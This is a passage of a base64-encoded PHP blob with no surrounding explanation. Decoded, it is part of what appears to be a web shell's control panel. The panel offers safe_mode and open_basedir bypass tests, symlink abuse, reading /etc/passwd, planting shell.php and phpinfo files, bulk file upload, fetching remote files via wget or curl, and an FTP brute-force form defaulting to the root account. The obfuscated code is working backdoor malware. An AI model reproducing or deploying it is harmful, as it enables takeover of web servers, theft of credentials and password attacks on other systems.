aWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDknKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik8MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjEnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE4X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE4X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMCddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjUnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTFfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMV9maWxlJ10pOigiL3RtcC90ZXN0LnppcCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMyddLCdpZDI2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjYnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTJfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMl9maWxlJ10pOigiL3RtcC90ZXN0LmJ6aXAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZXJyb3JfbG9nJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjQnXSwnaWQyNycpLiR0YWJsZV91cDIuZGl2KCdpZDI3JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEzX2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEzX2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QxM19maWxlMiddKTooJGRpci4iL3NoZWxsLnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTMnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10pOigiPD8gcGhwaW5mbygpOyA/PiIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI2J10sJ2lkMjgnKS4kdGFibGVfdXAyLmRpdignaWQyOCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTRfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE0X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI3J10sJ2lkMjknKS4kdGFibGVfdXAyLmRpdignaWQyOScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNV9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKT8oJF9QT1NUWyd0ZXN0MTVfZmlsZTInXSk6KCRkaXIuIi9zaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE1JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi40Iik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddLCdpZDE2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTYnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pOigkZGlyLiIvdGVzdC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgQGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXSwnaWQxNycpLiR0YWJsZV91cDIuZGl2KCdpZDE3JykuJHRzOwplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NzAlPiIuJHRzOwplY2hvIHNyKDIwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsJGZzLmluKCd0ZXh0JywndGVzdDE3X2ZpbGUnLDYwLCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18xJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM2J10pLiRmZSk7CmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMwJT4iLiR0czsKZWNobyBzcigwLCIiLCRmcy5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18yJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48L3RyPiI7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMiddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7CmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD03MCU+Ii4kdHM7CmVjaG8gc3IoMjAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7CmVjaG8gc3IoMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsKfQoKCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCBAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpewplY2hvICI8Zm9ybSBuYW1lPXVwbG9hZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLCdpZDMwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzAnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUwJyw4NSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCgppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgQGluaV9nZXQoJ2ZpbGVfdXBsb2FkcycpKXsKZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJ011bHR5ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUnXSwnaWQzNCcpLiR0YWJsZV91cDIuZGl2KCdpZDM0JykuJHRzOwplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMScsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTInLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUzJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNCcsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTUnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU2JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNycsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTgnLDM1LCcnKSk7CmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTknLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMCcsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTExJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTInLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMycsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTE0JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTUnLDM1LCcnKSk7CmVjaG8gc3IoMTUsJycsaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCgokc2VsZWN0PScnOwppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpKSl7JHNlbGVjdCA9ICI8b3B0aW9uIHZhbHVlPVwiZm9wZW5cIj5mb3Blbjwvb3B0aW9uPiI7fQppZighJHNhZmVfbW9kZSl7CiBpZih3aGljaCgnd2dldCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwid2dldFwiPndnZXQ8L29wdGlvbj4iO30KIGlmKHdoaWNoKCdmZXRjaCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiZmV0Y2hcIj5mZXRjaDwvb3B0aW9uPiI7fQogaWYod2hpY2goJ2x5bngnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+Ijt9CiBpZih3aGljaCgnbGlua3MnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvbj4iO30KIGlmKHdoaWNoKCdjdXJsJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJjdXJsXCI+Y3VybDwvb3B0aW9uPiI7fQogaWYod2hpY2goJ0dFVCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+Ijt9Cn0KaWYoJHNlbGVjdCl7CiBlY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTUnXSwnaWQzMScpLiR0YWJsZV91cDIuZGl2KCdpZDMxJykuJHRzOwogZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cIndpdGhcIj4iLiRzZWxlY3QKLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycpKTsKIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CiBlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NiddLCdpZDMyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOwokYXJoID0gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkyJ107CmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCd6aXAnKS4nIHppcCc7ICAgfQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ2J6aXAnKS4nIGJ6aXAnOyB9CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkxJ10uJGFycm93LiI8L2I+IixpbigncmFkaW8nLCdjb21wcmVzcycsMCwnbm9uZScsMSkuJyAnLiRhcmgpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CgppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTMnXSwnaWQzMycpLiR0YWJsZV91cDIuZGl2KCdpZDMzJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9icnV0ZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwncGFzc3dkJywxKS4iPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOwplY2hvIHNyKDI1LCIiLGluKCdjaGVja2JveCcsJ3JldmVyc2UgaWQ9cmV2ZXJzZScsMCwnMScsMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMSddKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ2RpYycsMCkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNSddKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigicm9vdCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGljdGlvbmFyeScsMCwoIWVtcHR5KCRfUE9TVFsnZGljdGlvbmFyeSddKT8oJF9QT1NUWydkaWN0aW9uYXJ5J10pOigkZGlyLicvcGFzc3cuZGljJykpKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1